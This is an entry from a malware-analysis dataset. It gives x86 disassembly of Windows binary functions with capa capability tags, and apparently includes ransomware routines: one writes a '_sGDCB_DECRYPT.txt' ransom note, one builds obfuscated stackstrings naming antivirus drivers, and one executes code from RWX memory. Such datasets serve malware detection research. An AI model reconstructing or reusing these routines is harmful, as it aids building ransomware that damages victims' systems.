joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4044d0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], ebx
mov ebx, 1
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], 0
push 1
push 0x4e6b90
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40455c
mov eax, 0x51eb851f
mov ecx, ebx
imul ebx
sar edx, 5
mov eax, ebx
sar ecx, 0x1f
sub edx, ecx
imul esi, edx, 0x64
sub eax, esi
jne 0x40455c
cmp ebx, 0x15f90
jl 0x404553
cmp ebx, 0x1d4c0
jge 0x404530
mov eax, 0x32
jmp 0x404555
cmp ebx, 0x2bf20
jge 0x40453f
mov eax, 0x64
jmp 0x404555
mov eax, 0x1482
cmp ebx, 0x57d78
jl 0x404555
mov eax, 0xfa
jmp 0x404555
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
test eax, eax
je 0x404570
inc ebx
cmp ebx, 0x57e40
jl 0x4044e8
mov eax, dword [ebp - 4]
test eax, eax
je 0x40458a
mov dword [ebp - 0x14], 0x98
lea eax, [ebp - 0x14]
push eax
call fcn.00426a60
add esp, 4
mov eax, dword [0x4e6b94]
test eax, eax
jne 0x4045c0
cmp dword [0x4e3440], 1
je 0x404659
xor ebx, ebx
xor esi, esi
cmp dword [0x4e6b8c], 0
je 0x404616
mov dword [0x4e6b94], 1
cmp dword [0x4e3440], 1
je 0x404601
mov dword [0x4e6b90], 0
push dword [0x4e6b88]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x404697
mov eax, dword [ebp + 8]
mov dword [eax], ebx
cmp dword [0x4e3440], 1
je 0x404677
xor eax, eax
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
push esi
push 2
call fcn.004607f0
push ebx
push 0x16
call fcn.004607f0
add esp, 0x10
jmp 0x4045c0
mov dword [0x4e6b8c], 1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x4e6b88], eax
cmp eax, 0xffffffff
jne 0x40463d
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x4045ad
push 0x404250
call fcn.00461210
push 0x404210
call fcn.00461210
add esp, 8
jmp 0x4045ad
push 1
push 2
call fcn.004607f0
mov esi, eax
push 1
push 0x16
call fcn.004607f0
add esp, 0x10
mov ebx, eax
jmp 0x4045a4
push 1
push 2
call fcn.004607f0
push 1
push 0x16
mov dword [ebx + 0x64], eax
call fcn.004607f0
add esp, 0x10
mov dword [ebx + 0x68], eax
jmp 0x4045f5
lea eax, [ebp - 0x10]
push eax
push 0
push 0x70
call fcn.00411f20
add esp, 0xc
test eax, eax
je 0x4046be
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov dword [edx], 0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov edx, 0x70
mov ecx, dword [edx + 0x4e339c]
mov dword [eax + edx - 4], ecx
mov ebx, dword [edx + 0x4e3398]
mov dword [eax + edx - 8], ebx
mov esi, dword [edx + 0x4e3394]
mov dword [eax + edx - 0xc], esi
mov ecx, dword [edx + 0x4e3390]
mov dword [eax + edx - 0x10], ecx
sub edx, 0x10
jne 0x4046c6
push dword [ebp - 0x10]
push dword [0x4e6b88]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ebx, dword [ebp - 0x10]
jmp 0x4045e3
Function at 0x424340
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
Function at 0x4251b0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp eax, 0xfffffffa
mov dword [ebp - 0x10], ebx
mov ebx, ecx
lea ecx, [eax + 5]
jg 0x4251c5
mov ecx, eax
mov dword [ebp - 4], eax
mov eax, 0xfb93e673
mov dword [ebp - 8], esi
mov esi, edx
mul ecx
shr edx, 9
mov dword [ebp - 0xc], edi
imul edi, edx, 0x209
sub ecx, edi
mov edi, dword [0x4e3440]
cmp edi, 2
lea eax, [ecx + 0x69]
mov dword [esi], eax
jge 0x425221
lea ecx, [ecx*4 + 0x1a4]
lea edx, [ecx*8]
sub edx, ecx
mov ecx, dword [edx + 0x4e7644]
test ecx, ecx
jne 0x4252aa
mov dword [edx + 0x4e7644], 1
mov eax, dword [esi]
jmp 0x4252aa
lea eax, [ecx*4 + 0x1a4]
lea edx, [eax*8]
sub edx, eax
lea ecx, [edx + 0x4e7644]
push ecx
call fcn.00404760
add esp, 4
test eax, eax
jne 0x4252a2
mov edx, dword [esi]
lea eax, [edx*4]
shl edx, 5
sub edx, eax
cmp dword [edx + 0x4e7640], 0
je 0x42531a
mov dword [edx + 0x4e7644], 0
mov edx, dword [esi]
push 0xffffffffffffffff
lea eax, [edx*4]
shl edx, 5
sub edx, eax
push dword [edx + 0x4e7640]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esi]
lea eax, [edx*4]
shl edx, 5
sub edx, eax
lea ecx, [edx + 0x4e7644]
push ecx
call fcn.00404760
add esp, 4
mov edi, dword [0x4e3440]
mov eax, dword [esi]
cmp edi, 1
je 0x4252fb
mov edx, dword [ebp + 0x14]
lea ecx, [eax*4]
shl eax, 5
sub eax, ecx
mov ecx, dword [eax + 0x4e7658]
xor eax, eax
mov dword [ebx], ecx
test ecx, ecx
je 0x4252f3
mov esi, dword [ebp - 4]
cmp esi, dword [ecx + 0x100]
jbe 0x4252e2
mov eax, ecx
mov ecx, dword [ecx + 0x28]
test ecx, ecx
mov dword [ebx], ecx
jne 0x4252cf
mov dword [edx], eax
xor eax, eax
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
mov dword [edx], 0
jmp 0x4252e4
lea edx, [eax*4]
shl eax, 5
sub eax, edx
lea eax, [eax + 0x4e7650]
push eax
call fcn.00404710
add esp, 4
mov eax, dword [esi]
jmp 0x4252af
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, dword [esi]
lea edx, [ecx*4]
shl ecx, 5
sub ecx, edx
mov dword [ecx + 0x4e7640], eax
mov dword [ecx + 0x4e7644], 0
jmp 0x425269
Function at 0x426890
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x7c]
test esi, esi
mov dword [ebp - 0xc], edi
je 0x426a4c
mov edx, dword [0x4e3440]
mov edi, dword [esi + 0x14]
lea eax, [edi*4]
shl edi, 5
sub edi, eax
cmp edx, 2
lea ebx, [edi + 0x4ebae8]
jge 0x4268df
mov eax, dword [ebx]
test eax, eax
jne 0x426920
mov dword [edi + 0x4ebae8], 1
jmp 0x426920
push ebx
call fcn.00404760
add esp, 4
test eax, eax
jne 0x42691a
cmp dword [edi + 0x4ebae4], 0
je 0x426a2c
mov dword [edi + 0x4ebae8], 0
push 0xffffffffffffffff
push dword [edi + 0x4ebae4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call fcn.00404760
add esp, 4
mov edx, dword [0x4e3440]
cmp edx, 1
je 0x426a18
mov eax, dword [esi + 0x18]
dec eax
mov dword [esi + 0x18], eax
test eax, eax
jle 0x42698f
mov eax, dword [0x4e3440]
cmp eax, 1
je 0x426974
cmp eax, 2
jge 0x42694f
mov dword [edi + 0x4ebae8], 0
jmp 0x426965
mov dword [edi + 0x4ebae8], 0
push dword [edi + 0x4ebae4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
mov ebx, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
push dword [edi + 0x4ebaf8]
push dword [edi + 0x4ebaf4]
call fcn.00404740
add esp, 8
mov eax, dword [0x4e3440]
jmp 0x42693e
mov edx, dword [esi]
test edx, edx
je 0x42699b
mov eax, dword [esi + 4]
mov dword [edx + 4], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x4269a6
mov dword [eax], edx
jmp 0x4269ac
mov dword [edi + 0x4ebae0], edx
mov eax, dword [ebp + 8]
mov dword [eax + 0x7c], 0
mov eax, dword [0x4e3440]
cmp eax, 1
je 0x4269fd
cmp eax, 2
jge 0x4269d1
mov dword [edi + 0x4ebae8], 0
jmp 0x4269e7
mov dword [edi + 0x4ebae8], 0
push dword [edi + 0x4ebae4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [esi + 8]
call fcn.00411fe0
push esi
call fcn.00411fe0
add esp, 8
jmp 0x426965
push dword [edi + 0x4ebaf8]
push dword [edi + 0x4ebaf4]
call fcn.00404740
add esp, 8
mov eax, dword [0x4e3440]
jmp 0x4269c0
lea eax, [edi + 0x4ebaf4]
push eax
call fcn.00404710
add esp, 4
jmp 0x426929
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [edi + 0x4ebae4], eax
mov dword [edi + 0x4ebae8], 0
jmp 0x426903
xor eax, eax
mov esi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x426a60
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.0043aaa0
mov ebx, dword [ebp + 8]
cmp dword [0x4f13e0], 0
jne 0x426a87
test ebx, ebx
je 0x426a7c
mov eax, dword [ebx]
jmp 0x426a7e
xor eax, eax
push eax
call fcn.00467950
add esp, 4
test ebx, ebx
je 0x426a8f
mov eax, dword [ebx]
jmp 0x426a91
xor eax, eax
push eax
call fcn.004b4d20
add esp, 4
jmp 0x426a74
Function at 0x42cb70
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]
Function at 0x42f820
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 4], ebx
movzx ecx, byte [edx + 0x16d]
and ecx, 0x20
shr ecx, 5
mov ebx, dword [eax]
test ecx, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], esi
je 0x42f899
cmp eax, 5
jl 0x42f899
cmp eax, 0x11
jg 0x42f899
mov edx, dword [ebp + 0x10]
mov eax, edx
shr eax, 0x1f
add eax, edx
sar eax, 1
test eax, eax
jle 0x42f88a
mov edx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x1c], eax
xor ecx, ecx
lea edi, [edx + ebx]
movzx edx, byte [ecx + edi - 1]
inc esi
movzx eax, byte [ebx]
xor eax, edx
mov byte [ebx], dl
inc ebx
xor byte [ecx + edi - 1], al
dec ecx
cmp esi, dword [ebp - 0x1c]
jl 0x42f872
xor eax, eax
mov ebx, dword [ebp - 4]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
movsx edi, byte [edx + 0x158]
cmp eax, 0x19
jl 0x42f88a
cmp eax, 0x1f
jle 0x42f8c0
cmp eax, 0x32
jl 0x42f8b6
cmp eax, 0x34
jle 0x42f8c0
jmp 0x42f88a
cmp eax, 0x28
jl 0x42f88a
cmp eax, 0x30
jg 0x42f88a
test ecx, ecx
je 0x42f923
test edi, edi
je 0x42f8d2
cmp eax, 0x34
je 0x42f8d2
cmp eax, 0x32
jne 0x42f923
mov edx, dword [ebp + 0x10]
mov esi, edx
shr esi, 0x1f
add esi, edx
sar esi, 1
test esi, esi
jle 0x42f923
mov eax, dword [ebp + 0x10]
xor edx, edx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ebx
lea ecx, [eax + ebx]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov esi, dword [ebp - 0x14]
mov eax, ebx
movzx edi, byte [eax]
inc edx
movzx ebx, byte [ecx + esi - 1]
xor edi, ebx
mov byte [eax], bl
inc eax
mov ebx, edi
xor byte [ecx + esi - 1], bl
dec ecx
cmp edx, dword [ebp - 0x10]
jl 0x42f8fd
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
mov eax, dword [eax + 8]
mov edx, dword [eax*4 + 0x4cd9bc]
cmp edx, 0xffffffff
je 0x42f9b8
lea eax, [edx*4]
shl edx, 5
sub edx, eax
mov edx, dword [edx + edi*4 + 0x4cdaa0]
test edx, edx
je 0x42f88a
lea eax, [ebp - 0x1c]
push eax
push 0
push ebx
call edx
add esp, 0xc
cmp eax, 1
jne 0x42f9b8
cmp dword [ebp + 0x10], 4
jne 0x42f974
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ecx], edx
jmp 0x42f88a
cmp dword [ebp + 0x10], 8
jne 0x42f991
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov dword [edx], eax
mov esi, dword [ecx]
mov ebx, dword [ebp - 0x18]
mov dword [esi + 4], ebx
jmp 0x42f88a
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ecx], edx
mov esi, dword [eax]
mov ebx, dword [ebp - 0x18]
mov dword [esi + 4], ebx
mov edx, dword [eax]
mov edi, dword [ebp - 0x14]
mov dword [edx + 8], edi
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10]
mov dword [ecx + 0xc], eax
jmp 0x42f88a
mov eax, 0x5f
mov ebx, dword [ebp - 4]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x439090
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0xc]

Function at 0x43909c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], esi
mov esi, ecx
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ebx
mov ebx, edx
mov dword [ebp - 4], edi
mov edx, eax
mov dword [ecx], 0
cmp dword [0x4f13e0], 0
je 0x439171
cmp dword [ebp + 0x20], 2
je 0x4390d3
cmp dword [ebp + 0x20], 1
jne 0x4390e2
mov eax, 0xffffffff
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x18], 0
je 0x4390f2
cmp dword [ebp + 0x20], 0xfffffffa
je 0x439236
cmp dword [ebp + 0x20], 0
je 0x439242
xor ecx, ecx
cmp dword [ebp + 0x18], 0
je 0x439125
cmp dword [ebp + 0x1c], 0
je 0x439125
push edi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], edx
call fcn.004b4ad0
push edi
call fcn.004b4c40
mov edx, dword [ebp - 0x10]
add esp, 8
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x439171
push edi
push esi
push ebx
call fcn.004b4b70
add esp, 0xc
mov esi, eax
mov eax, dword [ebp + 0x14]
cmp esi, 0xffffffff
mov dword [eax], esi
je 0x439266
push 0
push edi
push 2
push 0x4ce938
call fcn.004b4b30
add esp, 0x10
mov edx, dword [ebp + 0x14]
mov eax, 1
mov byte [esi + ebx], 0xa
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
inc dword [edx]
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x10], edx
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x24]
test ecx, ecx
mov edx, dword [ebp - 0x10]
mov dword [edi], 0
je 0x439199
mov edi, dword [ecx + 0x13c]
test edi, edi
jne 0x43919e
mov edi, 0x20000
cmp esi, edi
jbe 0x439212
cmp dword [ebp + 0x20], 0
je 0x439212
test ecx, ecx
je 0x4391b6
mov edi, dword [ecx + 0x13c]
test edi, edi
jne 0x4391bb
mov edi, 0x20000
mov dword [ebp - 0x10], edx
push 0
mov dword [ebp - 0x14], edi
lea eax, [ebp - 0x18]
push eax
push edi
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x439200
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x18]
add ebx, edx
sub esi, edx
add dword [ecx], edx
cmp dword [ebp + 0x24], 0
je 0x4391f5
mov edx, dword [ebp + 0x24]
mov edx, dword [edx + 0x13c]
test edx, edx
jne 0x4391fa
mov edx, 0x20000
cmp esi, edx
ja 0x439200
mov edi, esi
test esi, esi
je 0x439229
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x18]
jne 0x439229
test eax, eax
jne 0x4391be
jmp 0x439229
push 0
lea ecx, [ebp - 0x18]
push ecx
push esi
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x18]
mov dword [ecx], edx
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edi, edx
mov ecx, 1
jmp 0x439104
mov dword [ebp - 0x10], edx
call fcn.004b4d60
mov edx, dword [ebp - 0x10]
mov edi, eax
cmp dword [0x4f13e0], 0
je 0x439129
mov ecx, 1
jmp 0x4390fe
xor eax, eax
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x477290
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4e4fb0]
jne 0x47729a
repz ret
jmp fcn.0048da60
Function at 0x4b94d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6a000]
push edi
jmp 0x4b94ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b94f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b94e0
mov eax, 1
add ebx, ebx
jne 0x4b9503
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b9514
jne 0x4b9533
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9533
dec eax
add ebx, ebx
jne 0x4b9520
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b94f8
add ebx, ebx
jne 0x4b952f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b9585
xor ecx, ecx
sub eax, 3
jb 0x4b954b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b95ba
sar eax, 1
mov ebp, eax
jmp 0x4b9556
add ebx, ebx
jne 0x4b9556
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9524
inc ecx
add ebx, ebx
jne 0x4b9564
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9524
add ebx, ebx
jne 0x4b9571
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b9566
jne 0x4b9582
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b9566
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b95a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b9596
jmp 0x4b94e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b95a4
add edi, ecx
jmp 0x4b94e6
pop esi
mov edi, esi
mov ecx, 0x308e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b95c2
cmp byte [edi], 0x17
jne 0x4b95c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b95c7
lea edi, [esi + 0xb6000]
mov eax, dword [edi]
or eax, eax
je 0x4b963f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbab5c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbac24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b95f4
mov ecx, edi
jns 0x4b9623
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbac28]
or eax, eax
je 0x4b9639
mov dword [ebx], eax
add ebx, 4
jmp 0x4b9611
call dword [esi + 0xbac38]
mov ebp, dword [esi + 0xbac2c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b9673
sub esp, 0xffffff80
jmp 0x436ce9
Function at 0x4030a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x14], 0x720073
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0x730074
mov dword [ebp - 0xc], 0x2e0070
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
mov dword [ebp - 0x44], 0x720073
mov dword [ebp - 0x40], 0x730074
mov dword [ebp - 0x3c], 0x360070
mov dword [ebp - 0x38], 0x2e0034
mov dword [ebp - 0x34], 0x790073
mov dword [ebp - 0x30], 0x73
mov dword [ebp - 0x5c], 0x61004e
mov dword [ebp - 0x58], 0x450076
mov dword [ebp - 0x54], 0x310078
mov dword [ebp - 0x50], 0x2e0035
mov dword [ebp - 0x4c], 0x790073
mov dword [ebp - 0x48], 0x73
mov dword [ebp - 0x2c], 0x61004e
mov dword [ebp - 0x28], 0x450076
mov dword [ebp - 0x24], 0x67006e
mov dword [ebp - 0x20], 0x73002e
mov dword [ebp - 0x1c], 0x730079
mov word [ebp - 0x18], ax
call fcn.00402f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x403180
lea ecx, [ebp - 0x44]
call fcn.00402f50
test eax, eax
jne 0x403180
lea ecx, [ebp - 0x5c]
call fcn.00402f50
test eax, eax
jne 0x403180
lea ecx, [ebp - 0x2c]
call fcn.00402f50
test eax, eax
jne 0x403180
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
mov dword [eax], ebx
mov dword [ebp - 4], edx
lea eax, [edi + 0xf]
lea ecx, [esi + 0xf]
cmp esi, eax
ja 0x403541
cmp ecx, edi
jb 0x403541
mov ecx, esi
sub edi, esi
mov edx, 0x10
mov edi, edi
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
dec edx
jne 0x403530
mov edx, dword [ebp - 4]
jmp 0x403551
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edi]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov eax, dword [ebp + 0xc]
cmp edx, 0x10
jbe 0x4035ba
lea edi, [edx - 0x11]
shr edi, 4
inc edi
mov dword [ebp + 0x14], edi
push eax
push ebx
push esi
call fcn.00401020
mov edx, ebx
add esi, 0x10
add esp, 0xc
add ebx, 0x10
lea eax, [edx + 0xf]
cmp esi, eax
ja 0x4035a1
lea eax, [esi + 0xf]
cmp eax, edx
jb 0x4035a1
mov eax, esi
sub edx, esi
mov edi, 0x10
lea ecx, [ecx]
mov cl, byte [eax + edx]
lea eax, [eax + 1]
xor byte [eax - 1], cl
dec edi
jne 0x403590
mov edi, dword [ebp + 0x14]
jmp 0x4035b1
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edx]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov eax, dword [ebp + 0xc]
dec edi
mov dword [ebp + 0x14], edi
jne 0x403563
push eax
push ebx
push esi
call fcn.00401020
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406640
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40669e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x4066d0
mov eax, dword [0x412b04]
test eax, eax
je 0x4066c4
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x412b04]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407c60
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x407d79
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x407c90
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x407d82
cmp edi, ebx
jae 0x407d82
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x407d17
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x407d5e
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407d5e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x407d5e
xor ecx, ecx
test edi, edi
je 0x407d57
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x407d41
mov ebx, 1
jmp 0x407d60
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret